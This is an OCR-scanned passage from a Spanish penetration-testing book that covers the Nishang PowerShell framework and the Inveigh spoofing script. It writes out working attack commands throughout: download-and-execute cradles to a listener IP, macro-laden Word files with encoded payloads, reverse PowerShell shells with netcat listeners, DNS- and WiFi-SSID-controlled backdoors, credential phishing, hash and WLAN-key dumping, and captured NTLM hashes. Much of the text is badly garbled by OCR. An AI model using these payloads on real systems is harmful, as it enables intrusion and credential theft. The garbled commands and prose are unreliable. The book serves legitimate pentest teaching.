direccion URL la cual contiene una magic string. Si el magic string que
introduce el pentester coincide con el del parametro CheckURL se cargard
el modulo o funcién al que se apunta con el parametro PayloadURL.
El argumento Arguments indica que funcién se ejecutara de todas las
que puedan existir en PayloadURL. A continuacion se muestra un
cjemplo sencillo HTTP-Backdoor -CheckURL http:/ipastebin.com/raw.
php?i=jgP2vJ3x -PayloadURL hitp://pastebin.com/raw.php?i =ZhyfSrwh

Funcion

HTTP-Backdoor

Capitulo Ill. PowerShell puro: El arte del pemevring\m

Funcién
= Descripcion
:sta funcio i p
implememadI:) fmporuong la forma de realizar consultas a regisg Ty
DNS_TXT Pwnage | o seri en un servidor DNS. Se deben configurar s et TR
] scripits en el interior de los registros TXT del servid et e
servido a trave . S rvidor DNS. E] e
uasg adtla(;es del registro TXT del servidor DNS se dcbcg‘ e
o =N T S S e ge :
¢ Qut-DnsTxt, el cual se encuentra en la catcuoriay(t_:‘_j.rar a
& Juiiny

Esta funcion lanza un pavload el cual permite pro
: S X .
pmziaej;::;al;ag ll:; g;s;ruccxong remotgs. C uandopscgcslr: g]l-acll;a;: g:d
| iy i Erewmesoca;%abra el seript de PowerSheil y lo ejecutara
ke -;4’ um—e : ;1' gne -Pq1'lorlc{URL Imp://pastebin.com/‘run".
/7{lp.'//';lsteb' g . '1 S e_t-_hgformanon =Time hh:mm -CheckURL.
- 17 - in.com/raw.php?i=ZhyfSrwh -StopString Stoppavioad
coman_gta.i(';mcxon‘l E).roporcxona una backdoor que es capaz de leer los
‘ 0s de PowerShell a través de los SSID de las redes [ireles ’
Bipk i enc\l/lergran ahiededor. Un ejemplo seria Gupt-Backdoor -Maag'ceStBr::] o fL‘
s qc“rierizeéitek;:?acr l:lnf :gcu'mdbuscaré fel SSID que comienza con op.f/zf)g.im
} ok mdn 0. po'r ejemplo whoami, el nombre de la red
ireless deberia ser op3newhoami

Execute-OnTime

Add- Esta funcion gj
y Zsta func e
PR wi uncion ;_]t.cula una {mckdom‘ la cual puede utilizar Windows Screen
- aver para ejecutar comandos y seripts remotos .
nvoke- Esta funcion eje ‘
PR o R sta [l) uncion ejecuta una backdoor la cual puede utilizar ADS. Alternate
ata Streams. y el registro de Windows para lograr persistencia N

Tubla 3.40; Funciones de Backdoor en Nishang.

Client

L.\le lll()dlll() pl()p()lCl()lld ‘u”LlO”tS que ])e mite crear Hl(vl“‘Ob de “p() ”l) (4 t.\( €1, « ,‘1 3. con I()\ (]UL
] I
/ /. /. / l
se pULdCIl €[CClllcll lll.sllllCCIOIleS d(. / ()H("L;h( // a “dvhﬁ de L”Ob . I,l “()dul() consta dL () ru“LlU”tS.
(OS LlelLS pUEdLll S¢r llllll[ddOQ [)OI l B P( d S S D JeCLLe

> Cl pentester ira cnganar a otros u 1arios onseguir ejecutar

g ro suario con L

=
nsti ucciones en una |“f|L|l”“a Y (,b[(.“Ll un p”VIILEIO. \L()I]llllleCl()ll SC dCSCl yL 1 lcl IU“C ones d&

]b S 1

Funcig
ion Descripcion

-Arguments Get-Information -MagicString start123 -StopString stopthis

Esta funcién pc.rmite crear archivos con extensién CHM. los cuales
;c ef'n,cuentran mft;ctados pudiendo cjecutar comandos y‘s(-ri;tl:-ad?
e o {cén;‘ ; ;Zhe/(/'l;)n e Je‘mplc{ .scn'a ()urI-CH/’lll -Payload " Ger-Process "
i Coma.n.d mén ani Filey (x86) '.{I TML Help Workshop ", dénde se
ab'ic,w g 0 ef’l_—l rocc.}'s enel mtc_:rior del fichero cuando éste sea
- Un ejemplo valido seria conseguir ejecutar una shellcode al abrir

este tipo de fichero
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Descripcion

Esta funcion crea un archivo de Word y lo infecta para ejecutar comandos y
seripts de PowerShell. Como primer ejemplo se puede visualizar éste Out-
Word -PayloadURL http://yourwebserver. com/evil ps1 -Arguments Evil,
con el que con el parametro PayloadURL se indica de dénde se descargara
Gt Word el seript al abrir el ﬁchero y con el parametro Arguments se le pueden pasar

argumentos, por ejemplo para invocar una funcién que se encuentre en el
interior del script. Otro ejemplo seria Out- Word -Payload “PowerShell.exe
-ExecutionPolicy Bypass -noprofile -noexit -c Get-Process ", el cual crea un
fichero de Word y cuando éste se ejecute se ejecutard la macro a través de

Funcion

PowerShell
Diipilivesl Esta funcion crea un archivo de Excel y lo infecta para ejecutar comandos y
seripts de PowerShell. Esta funcion es similar a la denominada Out-Word
Esta funcion permite crear un fichero HTA el cual puede desplegada sobre
Out-HTA : o e e
un servidor web y utilizado en campafas de phishing

Esta funcion permite crear un fichero JAR firmado, el cual puede ser
Chiss s utilizado como applet para ejecutar comandos y scripts de PowerShell.
- C . . . . .

Como puede visualizarse, este fichero es otra via para realizar un client-
side

Esta funcién permite crear un fichero de acceso directo, es decir con
extension ./nk, el cual permite la ejecucion de comandos y scripls a través

Qut-Shorteut
de PowerShel!

Tubla 3.41: Funciones de Client en Nishang.

Execution

Esta categoria o médulo de Nishang permiten alp
protocolos, permitiendo la ejecucion de codigo y de
funciones de este modulo.

entester descargar codigo a través de diferentes
seripts. A continuacion se describen las

Capitulo 111. PowerShell puro: El arte del pentesting m
Funcién =
Descripcién
Execute- E
o S— .sla funcién permite ejecutar comandos de PowerShell, comand i
MSSQL cimd o comandos SQL sobre un MSSQL Serv s
erver con los privilegios suficientes
Execute- i6 ite j :
Rt s Esta funcnqn permite ejecutar una shellcode en memoria utilizando cops
a registros TXT de un servidor DNS configurado por el pente. ’OnbUItﬂS
ster
Tabla 3.42: Funciones de Evecution en Nishang.
Gather

Este modulo engl i
. ; ’ s
P CgO mb:;:r functnic()jnes que permiten realizar recopilacion de informacién sensible o jugo
5 - ot l]; omde ida. F}ln0|c?nes que permiten extraer los hashes de la maquina recj:og'lsa
i e e s Zsare es :nalan:jbrl(;as a las que se conecta la maquina, extraer las conu.'aseﬁs:;l :
run ataque de phishing de cr i i , -
i ¢ edenciales en sistemas ¥ i
s . s Window:. 6
se describen las funciones pertenecientes al médulo de Gather: e

Funcién
Descripcién
—— f:st.a ﬂ.mmo.n chequea si se estd ejecutando en un entorno de
maquina virtual o no hay ningtn entorno de virtualizacion
corriendo

Esta funcién lanza una ventana de login interactivo la cual
reportara lo que el usuario introduzca en texto plano al
peniester. Esta funcién es un ataque de phishing. Conseguir l:
credenciales en remoto a través de este cng:ﬁo es vi:blc =

Invoke-Credentials Phish

Esltebpar de seripts ayudan a realizar egress testing. En otras
i s palabras, cuanc_io el pentester consigue acceso a un equipo y
: quiere verificar si desde éste se puede acceder a Internet o a ot
- '  pue 0aotra
en cl-lie}lquler puerto. Con FireListener se abren puertos y con
ireBuster se intenta conectar con dichos puertos )

Es}a fungifin recopila informacién jugosa desde un equipo. La
lmtorm'z?cmn dependeri de los privilegios con la que se cpi)eéut‘e
Gk liglmmation la.func:lon. A modo de resumen se puede encontrar a;;licz;cio
instaladas, informacion sobre redes inalambricas. usuarios nfe ;
grupos locales, politica de cuentas, informacién s.ob;'e 'SN’;/I?’
recursos compartidos, hosts y sesiones de Putty, etcétcxsa .

gista funq(’)n copia el fichero SAM utilizando Volume Shadow

Copy-¥SS Copy Service. De este modo se pueden copi ; j
s : P n copiar ficheros que estn

protegidos o bloqueados por el sistema. Hay que tener en cuenta

Funcién Descripcion
Esta funcion descarga y ejecuta un script de PowerShell en memoria.
Download- Un ejemplo seria Download-Execute-PS http://dominio.com/script.psl
Execute-PS -Argument script. En este ejemplo se descarga el script desde una ubicacion y
se ejecuta la funcion que se indica en Argument
Esta funcion permite descargar un ejecutable en formato texto, convertirlo a
sk ejecula!ale y entonces ejecutarlo. Pgede ser una buena solucion para evgdir
= mecanismos de red que puedan evitar que la descarga llegue a la maquina
Execute . ; . .
dénde se encuentra el pentester. Un ejemplo seria Download_Execute htip://
example.com/file.ixt
EER

que habré que tener permisos para ejecutar VSS
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Shells
ipcion - ; s ;
i Funci6n ”DCSCI‘IIJ =— Este médulo proporciona diversas funciones que ayudan a obtener una PowerShell interactiva a
i Get-LSASecret Esta funcion extrae los LSA Secre través de diferentes protocolos. como pueden ser TCP, UDP, HTTP o ICMP. Incluso, se pueden
- Esta funcién extrae los nombres de usuario, identificador y ejecutar érdenes sobre PowerShell apoyandose en servicios como Gmiail para transferir las érdenes.
Get-PassHashes hashes LM y NT del fichero de cuentas SAM A continuacién se describen las funciones del médulo Shells ¥ s& muestran algunos pequefios
Esta funcién recopila informacion sobre las redes inalambricas ejemplos de ejecucion.
Get-WLAN-Keys almacenadas en el equipo
Esta funcion permite capturar las pulsaciones de teclado Qeside Funcién Descripcién
Keyvlogger una maquina comprometida T Esta funcion es muy potente proporcionando una PowerShell
S i0 i mpeo:de contrasefias en (exio plan interactiva en remoto, ya sea a través de una conexion pi —
Invoke- it s l"eals‘zi'z;f:zrc]i:;; g.] y Windows Server 2012 Lejn ejemplo de ejecuf:i()n seria Ir:vf;ke-f’oi’eg;;:lllo;zs fl—l}ij&z:sw
MimikatzWdigestDowngrade cquIpa Invoke-PowerShellTep e ; +
<direccion IP> -Reverse —Port <mimero puerto>. Por otro lado el

' 43: Funciones de Gather en Nishang, ’ e |
Tubla 3.43 atacante podria configurar en su maquina un rereat, por ejemplo con

ne—l —p <ntimero puerto>

Esta funcién permite enviar comandos y/o Seripts a una cuenta de
: “inciones para la realizacién de pivoring entre maquinas y redes. Las Gmail. Esta funcion es ejecutada desde la cuenta del atacante o
B e i ost-exploitation, ya que ayudan al pentester del pentester y configura los datos de la cuenta. Por otro lado se
s . utilizard la funcién lnvoke-PsGeatdgent o Powercar sobre la maquina
objetivo. Estas funciones realizaran la descarga del comando o del

Pivot

Este modulo propo P ! X
funciones presentadas son realmente atiles en la fase de oot vl
a llegar a mas sitios. donde quiza al comienzo del proceso no po gar.

Invoke-PsGeat

; - - sdulo Pivor. seri jecutara
A continuacion se describen las funciones que forman el madulo Piy | cript y'se ejecutaré |
Gk P i Ejecuta comandos y seripts los cuales son enviados por /nvoke-
Descripcion ’ a PsGeat
Funcion : E ¥ 3 R -
e a funcion proporciona la posible ejecucion de una PowerShe /
Esta funcién permite al pentester chequear las credenciales sobre st prop p ; S - erShel

Invoke-PowerShellUdp interactiva, tanto en modo hind o reverse. ejecutandose a través del

e kGt - di PSSessions en Powershel.
diferentes maquinas y crear diferentes protocolo UDP

Esta es una de las vias para pivotar a través de las redes y de

Create-MultipleSessions diferentes maquinas. Un ejemplo seria Create-MultipleSessions Esta funcion proporciona una PowerShell interactiva inversa a
filename .\servers.ixt -C reateSessions través de HTTPS. Un ejemplo de ejecucion es Invoke-PoshRatHips
: ; X . if -IPAddress 192.168.56.101 -Port 8443, mientras que en el clie le se

Esta funcién permite copiar y ejecutar un fichero s Invoke-PoshRatHiips A . - 4 S

* et - a cabo con las ejecuta /Smtem.Nel.Sel'vicePoimManager]:.'Sel'verCerl{/icale Validati
Run-EXEonRemote maquinas. Es similara lo ;])L;ekS) Z Iguedc et onCallback = {Strue):iex (New-Object Net. WebClient). DownloadSt-i
ng("https://192.168.56.101:8443/connect”)

Esta [uncién proporciona una PowerShell interactiva inversa a
través de HTTP. Un ejemplo de ejecucion es Invoke-PoshRatHtips
Invoke-PoshRatHiip -IPAddress 192.168.56.101 -Port 80, mientras que en el cliente
se ejecuta iex (New-Object Net. WebClient). DownloadString

Esta funcién permite gestionar relays a nivel de red. Trapaja zlao
nivel de 1Pv4 e IPv6, incluso permite hacer v6lo-v4. Un c_;'erlrfp
seria Invoke-NetworkRelay -Relay vdtov4 -ListenA (;di 2;5 »
192.168.254.141 -Listenport 8888 -ConnectAddress 192.168.1.22

T _ConnectPort 445 -ComputerName 192.168. 254.141. Se afiade un

relay el cual escucha por [Pv4 y reenvia lo que llega al pueto 445 - ( "7 P ‘:// i 2"1 68.56.1014 cmmecr.).
' al puerto 8888 de otra maquina de la red - Herpie PaskRit Esta funcién limpia el sistema después de utilizar /nvoke-
) PoshRatHtps

Tabla 3.44: Funciones de Pivol en Nishang.

Invoke-PowerShellWmi | Esta funcién proporciona una PowerShell interactiva utilizando W/

S J ENE
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Funcion Descripcion

Esta funcion proporciona una PowerShell interactiva a través del
protocolo ICMP. Por ejemplo, sobre una maquina Linux controlada
por el pentester se puede utilizar icmpsh_m.py. el cual es parte de
Tnvoke-PawerShelllcmp las i(v‘npsh rools._En primer .lugar se ejccu?a sysctl -w ”e’.' ipvd.icmp
echo_ignore_all=1 y, posteriormente, se ejecuta python icmpsh_m.py
<direccion IP pentester> <direccion IP target=. Una vez realizado
esto se ejecuta en el farget la instruccion Invoke-PowerShelllcmp —
IPAddress <direccion IP pentester>

Tabla 3.43: Funciones de Shells en Nishang.

Utility
Este médulo de Nishang proporciona funciones que pueden ayudar al pentester a realizar algunas
acciones. Este grupo de utilidades proporcionan persistencia a los seripts, permite realizar descargas
de ficheros o encodear y decodear scripts o strings. Esta {ltima parte es muy importante ya que se
puede juntar con la parte de shells con el fin de ejecutar instrucciones mas complejas a través de los
EncodedCommand. A continuacion se describen las funciones del maoduto Utifity.

Funcion Descripeioén
i ) Esta funcién permite afiadir la capacidad de filtrar datos a través de
Add-Exfiltration p, : i PR
3 Gmail. Pastebin, un servidor web o DNS
Esta funcién afiade persistencia al scrip!

Add-Persistence
Elimina la persistencia de un seript, la cual fue afiadida previamente

por Add-Persistence

Remove-Persistence
Esta funcién proporciona capacidades de pipe en su salida

Do-Exfiltration

Esta funcién proporciona descarga de ficheros hacia la maquina

Download .
comprometida
= Esta funcion parsea palabras clave recogidas previamente por el
Parse Keys
; keylogger
Esta funcién encodea y comprime un script o un string

Invoke-Encode

Invoke-Decode

Esta funcién decodea y descomprime un script o un string

Tabla 3.46: Funciones de Utitliy en Nishang.

PoC: Backdoors, jugando con DNS y Wireless
backdoors que Nishang

proporciona, especialmente
lo DNS y la que puede comunicarse con los S

En esta prueba de concepto se hablara sobre las
sobre las que se encapsulan a través del protoco SID

de las redes Wireless.

ﬁ
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El primer ejer
mplo pr 5
s :3 % z] ; l[lJt ss;nla\t/ip es el de la backdoor que utiliza el protocolo DNS
r de Nishang en una de las conferencias dénde presemé‘ f ot
: SU frameweyk

Para llevar a ¢
abo esta prueba se i
. necesita que el pentester
manipulable. En este servi . e engs ol eonirol dg *rvidor D
ejecutar. Nishan e ol’vfdor DNS‘cre?ra un registro TXT especial con el contenl']:i] i
& Proporciona una funcién denominada Qut-Dis Tt dentro de 1a lto Ly e
ar b Categoria Utilipy

Esta funcién permi <

S entrad; e (Ijt: lczbtenzr un l’:"nc-odedemnand de un seript, comando o shellcod,

oo méxi;na - inea gbera almacenarse en un TXT diferente dentro del b e ey

© cada registro TXT es de 255 caracteres yesto es algo a tene: e D, 1y
& €n cuenta,

PS C:\nishang)> 0 ;
TXT Renash g ut-DnsTxt -DataToEncod =
%g?wg@o;éggfggsgﬁ T inaTe Subdoma?n,GEt Process -IsString
cor i : i
:\nishgn;ltten to C.\nlshang\encodedtxt.txt

g. 3 O, 1 7 Aliye]
s J /e on de instruccion encodeada ara almace, ro TXT
Il
Fi 45 b neion de in: {2 nacenaria ER regi.

Una vez se obti .
tene el s .
Por otro lado, si se QUicr,;I;:‘rchi{debe pasar al servidor DNS del pentester creando un registro TXT,
? ear un script complet o ‘ :
DnsTxt - 2 ¥ P pleto se puede utilizar Iz 4 ? $
DataToEncode <Ruta seript, por ejemplo Get-WLAN-Kes 4 l’][i siguiente instruccién Our-
‘ AN-Keys.ps1>,

Una vez el .
pentester ha ¢ = T
para comprobar que s c)btrieado);.l registro TXT en el servidor DNS se puede utilizar nslook
R e v deﬂe el EncodedCommand, por ejemplo con la instruccid i /M i
- % & cre. + OF, o 5 1on m ( =
se obtiene de Qut-DnsTx: ado, por ejemplo 1 flu-project.com>. Hay que recordar que c: o ?O/‘"p
nsTxt debe ser un subdominio diferente en el servidor DNS AR AT

1.64 "PVRLbsUgDNxX6k264A/NOE m
1.script "dZJRastEMﬁB!oOhSuHBGa7e
264 "YGErsJJFNBXJyQGCIACYeoa0’
-2 script "KotSlleSZEpr&SWg‘%H/sOJkF
3.ti4 "HIbE4F TjcUHmCsb2MEODATF
asginh e "ROWBEHSL582/dmIEg/NochP1
command "Get-Process"”
encseript "anc954kv6cVOU/4BTNr;SRGJ\
per "eGVybCAITUIPICTIICckeD1mb3
start |"startscript”
stop ) "stop”

Fig. 3.46: Configuracion del servidor DNS.
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Ahora DNS TXT Pwnage es cap
Para este ejemplo se puede ejecutar algo como
CommandDomain command.flu-project.con
Arguments Get-WLAN-Keys _Subdomains 3 -StopString stop.

az de recibir estos comandos o scripls a través de los registros TXT.
DNS TXT_Pwnage -StartDomain start.flu-project.
com -cmdstring begincommands - 1 -psstring startscript

-PSDomain script.flu-project.com -

Applied: All User Profile

Profile information

Version el
Type : Wireless LA
Hotelds= " ==t

Name
Control options
Connect automatically
if this network is broadcasting

Connection mode :
Network broadcast : Connect only i
AutoSwitch : Do not switch to other networks

Connectivity settings

Number of SSIDs s ]!
SSID name o WHetel o L _
Network type : Infrastructure

Any Radio Type ]

Radio type 3
Vendor extension : Not present

Security settings
Authentication . WPA2-Personal
: CCMP

Cipher
Security key : Present

Fig. 3.47- Ejecucién del scripl recuperado a través del DNS.

El segundo ejemplo presentado es el de la hackdoor que recibe los comandos a traves del SSID de

una WilFi cercana a la maquina comprometida. La /x ckdoor denominada Gupt permite ejecutar los

comandos, como se menciona anteriormente, a través de la lectura de los SSID.

Gupt chequea todas las redes Wireless de su alrededor para encontrar un patron adecuado. La

basqueda de redes la realiza cada 5 segundos.

La funcién hace hincapié en 2 partes 0 paramelros diferenciados. El primero conocido como
eString de 4 caracteres de longitud. el cual es utilizado para identificar el SSID que contiene

yonde con el quinto cardcter,

El quinto caracter debe ser o una “c

!

A l’(!‘::’

los comandos. el segundo se corresj el cual ayuda a decidir si se quiere

ejecutar un comando o descargar y ¢jecutar un scripr. ", sise
quiere gjecutar un comando. o una “u” si se quiere descargar un seript y ejecutar.
ara cjemplificar esto se van a presentar 2 pequeiios ejemplos, el primero configurando un SSID con

Pz
gundo descargan

el que Gupr ejecutard un comando y un seg lo un seript y ejecutandolo.

o movil o de un punto de acceso controlado
. Al gjecutar la instruccion Gupt-
as sobre las redes

ya sea a traves de su dispositiv
bre “pablcget-process

on comenzara a realizar busqued

Si el pentesrer configura,

por él, un SSID con el siguiente nom

Backdoor -MagicString pabl Verbose. la funci

4 caracteres del SSID marchean con el A lagicString configurado. Cuando la
¢ ejecutard ¢l

para ver si los primeros
obard el quinto cardcter y al encontrar una e

funcién encuentre un SSID valido compr

comando que va después, en este caso Get-Process.
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C . e
C;:f:g}:::g :;ix e{ess networks for instructions
sireless networks for inst fons.

¢l : i t KS or 1nstr»uct s
cﬁ:gk}ng wireless netuorks for instruct;g::_
g d1ng wireless networks for instructi e
und a network with instr»uctions? it

CO . " = o
mmand “get-process' found. Executing it

NPMCKD> WSCK> UMM CPUCsD

AERTS»64

armsuc

avgcesrua

avgrsa

avgtray
avgudsuce
BTHSAmpPalSeryice
BTHSSecurityng
btplayerctyl
capius

conhost

conhost

conhost

conhost

cCSISs

csSyss

devmonsru
dllhost

Fig. 3.48: Ejecucion
g. 3.48: Ejecucion de comandos a través de la red WiFi

Ahora, si se quier: 3 :

y . 51 se quiere lograr la ejecucid s SOri >

ey ] grar la ejecucion de seripts Gupt descargara y ejecutara e :

caracter del nombre de la red es “u™. Después de la “u” s debe encon Nl A i
2 s : 2 . D ¢ se ¢ enc e | e
URL recortada con Google URL shortener ¢ encontrar la parte d

¢ una direccion

kn otras palabras. v z $isidiaatia o s
w“.g/”}ﬁ””g pur_a :[‘I_‘]:::[;.:,.Lj: VL‘|L.AH‘1[.)IO', :\I el SSID es “pablunJEuug ", la direccién URL seria fittp
El ])al"(:ll”k.'(l'()\,4/"’1'/i1t’1;/\‘ 1:” \l L.'IL:\L,{I,‘_H gl script. El seript se ejecutaria en memoria direcumf-n..
tener el script /};_(;/‘L'_ S‘/;"i//< “/.I‘& p(xA:Lj'l argumentos al seripr descargado. Un uso interesante x:1
traves del SSID »helicode. por ejemplo, y descargarlo a través de la direccion URL p: '»d.
B pasada a

Checking wirele
Checking wirele
Checking wirele
Checking wireles
Checking wirele

networks for instructions
networks for instruction:.
networks for instruction:.
networks for instruction:.
netuyorks for instruction:-
s networks for instruction;.

R
30 un

v

“
2]

Checking wirele
gg::xgoadr_tetwqu with instructions?
ading the attack script and executing it in memoy
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Fig. 3.49: Descar ;

= . o &, 2, rea > N0 { NI

& escarga de seripi v ejecucian a través de SSID de red WiFi
B de red 1

0C: Client-Side Attack con Nishang
En esta prueb: g
1 esla prueba de conce e present: §
cierto qllw Nish I;(:()nupl(xg presenta el concepto de Client-Side utilizado desde PowerShell. |
Nishang proporciona funciones que permi ] A s s
S permiten crear ficheros que ili
s que pueden ser utilizados
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~ [ o & ara & ;',1].- pUr
i i -heros son ideales para envie
‘ecutar instrucciones una vez son abiertos. Este tipo de le,h;flOb, son idez P
e - de ora a la victima.
Ejemp.lo por correo electrénico o hacer llegar de alguna manera 4

‘ ele l) esta presentad ) e ﬁln() © ishang en su s O we €S8 yequeno ¢ LHII lO SC
v ‘(.b. Ln te 1 O

. Q l S ado i 3 ] . d ‘\,\ S] & : d .
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mterior (]U\. ])e“nlte“ gjecutar instrucclones tras dl HHIUS .

n primer iug a —JI = "Powerdhne € =L ()('I”i()’” OIiC\' B\’!)(l.\'.\'
i l cd]* l eit‘.‘(.ll(.ion de OUT "’U"(l PL]\']()L](.’ owe S/ )[[.L).\ ? 1:\ g 1 //
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ﬁl ”()(’\.i C G(.)f rocess & p oporciona u ﬁ NE (& ;. : ‘
l HUI o 17 “VL.I( on -1 €S ESld I"i“lel i ') €s una pl Ueba l)dSlCB de lLl [LHIL 101,
: 3 S a e’eLULl( n
i ! rocess.
anzara la NS Cl G(’

7 avloadU //192.168.56.101/
da prueba que se muestra es la siguiente Qui-Word ‘},)“-"h_)f’d(’ iL /:ifll ejl o b
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' ST es el siguiente:

2] Gltimo ejemplo mostrado es el siguien N - N
e /p \Ger-WLAN-Keys.psl - PostSeriptCommand, Out-Word —Pay /[((u)ué/ /:)/::;()L\I:;”
e il e i ; ] S (New- yject J.IFe 2C
[’E’m/\t E'l(l‘-:(7/(i("\' ];31'/)(1% - noprofile -¢ Invoke-Expression \(;ZL“ Objec 1O.MenmoryStream
Lxecutionl olic! Ypass X 2 sl s SSir

es flateStream (3 A
($(New-Objec [0.Compression.Deflates o SO ‘ IR o
":‘{’\ ('(\t ()h]’jLI; .- FromBase64String("'dZJRbIMwEMSfLIk /ul_/_ /@«[/}‘i]}]}i?;/g?;;,’/ 740z1GWdJ/
(V/I /T)'”*\ ‘L/n 1('7VH<//11.\'m'PG</Hcl/u/nm.-lL\’I/H /1//zv7dqOpS {7/('1)//_.?1/,‘/;;\ ?E,,”; g e
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oMsVERAQdSIS Y FAMYVA T 7o A s NI [”'\"'A()II?!'KVYU_/.”' T X+ FE ]
33EhICISLbD 1dDIWX9j Y 1/TNxdjbte NSub6ll] mis . e
p i /SU;I/;(])/-JIZI Iéll; IL(KI)IIDM e'/(_,'c;/.f\“'b'c( I5ull/CBOBNEGAxXEMG63 /1.\'(15“ ”-” i\;h;)l: I ‘\{170[;’(;;4—1()(\'1'
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L/() C"(_mmre.sxx ion.CompressionMode]: :D(’.r'umpmxs‘);.
[ Text.Encoding]::ASCII)). ReadToLnd();".
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> SO, S

PoC: Shells . disponible en Nishang. Este framework
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sta prueba de Fed ‘ caia diferentes protocolos y
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ofrece varias as; H =
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La sentencia a ejecutar por el pentester o por un script ejecutado de alguna manera
maquina comprometida es la siguiente Invoke-PowerShellTep —Reverse —IPAd,
Port 9000. Esto generara una peticion inversa hacia |

a direccion TP 192.168.56.101 y puerto 9000
dénde debe existir una ejecucién de nercar 0 powe

reat para recibir la PowerShell interactiva.
icrosoft Windows [Uersion 6.2 22001

Cc) 2812 Microsoft Corpordtiéﬁ: Todos

los derechos reservados.

C:illsers\pgon;mle;& >cd Desktop

C:\llscr:;\pgon::a]_c;:‘\.])e‘;ktnp)nc -1 —-p 968688
Y reconoce como un comando interno o externo,
programa o archivo por lotes ejecutabhle.

C:\Users\pgonzalez esktopdcd nc

\pgonzalez\Desktop\nc dne -1 —-p 9088
PowerShell running as user Pablo.Gonzalez on P11P-B7
Copyright <(C) 2815 Microsoft Corporation. A1l rights reserved.

PS D:\librur:\pente:;l;ing‘ povershell\ni ]mnfrmr:\::tm‘>yct~p1*m:es::

Handles NPMCK) PMCID WS> UMM CPU<(s) Id ProcessName

5.61 1872 AppleMobileDeviceSerui

0.83 1752 armsuc

Fig. 3.50: Obtencion de PowerShell inversa interactiva en remoto.

7.Otros scripts en accién

En este apartado se agrupan otros seripts recopilados que pued

en ser utilizados en un pentesr. Estos
scripts pueden no formar parte de un firamework. pero su utilid

ad es indudable en un test de intrusion.

PoC: Sniffing y Spoofing de protocolos con PowerShell
Inveigh es un script de PowerShell el cual permite realizar diferentes spoofs de cara un test de
intrusién. Como se ha mencionado ya en este libro, pueden existir escenarios limitados
tener estas funcionalidades a través de la linea de comandos de
€xito en estos escenarios dificiles. Este script puede ayudar a re
a través de dispositivos USB, ayudar
eteétera.

por lo que
I sistema puede ayudar a lograr el
alizar ataques de phishing, ataques
a obtener informacién que permita pivotar entre VLA4Nes.

Elseript puede ser descargado desde la siguiente direccion URL https://github.com/Kevin-Robertson
Inveigh. Actualmente da soporte para direcciones [Pv4. spoofing LLMNR
challenge/response de HTTP/SMB. Para realizar la captura del
se realiza un sniffing sobre el servicio SMB de
configura un listener dedicado.

/NBNS y captura de
desafio-respuesta de SMB y HTTP
la maquina, mientras que en el caso de HTTP se

sobre una

lress 192.168.56.101
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pegan los challenge/response obtenidos a traves del

Hay que tener en cuenta que si se copian y
scirpt, los cuales son almacenados en un fichero de texto por el propio script, se deben eliminar los
retornos de carro.

ner en el proceso el maximo privilegio, por ejemplo

El uso es sencillo, en primer lugar se debe te
acion de privilegio. Puede ser necesario utilizar

logrando una cuenta de Sysfem a través de una elev
un método de bypass de la politica de ejecucion de seripts. La sintaxis para su ejecucion es sencilla
Inveigh.psl [-i <direccion [P por la que esnifar y spoofear> _LLMNR y|n—NBNS y|n —NBNSTvpes
00.03,20,18 ~HTTP y|n —SMB y\n —Repeat y|n ForceWPADAuth y\n —Quiput 0,1,2]. En la imagen
o de la captura de desafio-respuesta de un hash a través del
uede ser local o remota, ya que con PowerShell se
bicacion, siempre y cuando se tenga el permiso.

se puede visualizar un pequefio ejempl
servicio SMB de la maquina. Esta maquina p
podria ejecutar de forma sencilla este script en otra u

[Ps C:\U:cr:\pahln\Dcsktov\lnvcigh— aster> -SInveigh.psi
Inueigh started at 2015-98-83711:15:55
[Liztening IP Address = 192.168.56.184
ILLMNR Spoofing Enabled
BNS Spoofing Disabled
Bpoof Repeating Enabled
HTTP Capture Enabled
TIPS Capture Disabled
EMB Capture Enabled
[Repeat Spoof Suppression Disabled
Force UPAD Authentication Enabled
onsole Output Enabled
[file Output Enabled
orking Directory = C:\Us
PA15-88-03T11: 32 - SMB NILMv2 challenge/ sonce captured from 192.16!].56.“51([’111"-3?)'
jPablo .Gonzal : 1Pn1HS::DHﬂSEﬂ996nF7ﬂlﬂC[ ?ESSﬂCﬂD4B:8101UBBﬂﬂﬂﬂﬂﬂﬂBGDDC}??i6CDCDDGB
i 952 SGBH1FHBHI85180358“ﬂ52984188138054“04980438&41HHSJBBZDGBSBHBﬁ}BﬂG4
988728561BUG]BE?QGGG?%E&38“5l8973082068788863802E30630875 ¢ :
CDCDD@A1 36 808180326A088888 003
9570254Fcﬂﬂﬂﬂl0888868886083%08808“8888%
7300031000800080008NAPE0AABABE0A
c\pdhlu\DESktop\lnueigh"n
3 o from 192.168.56.184 — NB
NBNS request for reced from .168.56.
NBNS reqguest for € recei fron 2. .56. S spoofing i
NBNS request for CURS0<¢42-4D> received from 2 .56. spoofing i
g NBNS request for CURS0<42-4D> received fron 192.168.56. poofing
NBNS request for CURS0<4 D> ceived fronm “1@4 - NBNS spoofing is disabled
4 - SHB NTLMu2 challenge/respo aptured fron 192.168.56.181 (P11P-07):
Pablo.Conzalez: 11 PATHS = :8D28ADB58 3EBSBBFBSCD1ED C7616:ﬂlBlﬂGﬂBUﬂBBﬂﬂﬂBDBD?ECl7CDCDDGBxl961n65508883859”08889%082998
‘6013EBSSBBS2BBSJUBGFHRQI8818H8585852ﬂﬂ418043885499190ﬂ4388118853BRZDBBSHBB43QBB4BHI28063897505728873ﬁ86F8@2EGBG]HB&PUO
-DBBBBBGZCBB?GQB?ZHBSiBGG3G074886908639861Bﬁ?JBBZBBB?BEUG38825B963B97500?2987 'EBGGJGQGFB@GDBGBSOGIZBQGBBB?SHB?ZB
P B7GGB808DBD9EC1VCDCDDQBIﬂsuuﬂdﬂbﬂzﬁﬂﬂﬂﬂﬂﬂﬂUﬁ30603BGBDBBBBﬂGBBBﬂBBlﬂBuBBBﬂBZBﬂ88807387881335053
r429012B?59025QFCGR801BBBBQGBQUEBEBQQGBBBGBBBHBBBBBEBBBBGB?GQZ68963886980668@?3082FHG3
82Eﬁu3168388034888008@80588BBBOGGBQBUBGBB
onse uritten to Czs\UsersipabloNDesktopNlnvei h-nasterslnveigh-NILHuZ. txt

~:\vnblo\hc:k:up\lnucigh naster

Gﬂ398832902£083IBBJGBBQUSB2EBB3SBB
- SMB NTLMu2 challenge/x

Fig. 3.51: Captura de challenge/response en hashes NTLM.

PESecurity

PESecurity es un script para chequear los binarios
archivos DLL. Con PESecurity se puede estudiar si el
o seguridad como son ASLR. DEP. SafeSEH. StrongNaming Y Authenticode. PESecurity
//eithub.com/NetS Pl/PESecurity.

de los sistemas Windows, tanto ejecutables como
binario ha sido compilado con mecanismos de
proteccion
se puede descargar desde la siguiente direccion URL https:
atacante conozca la direccion de memoria
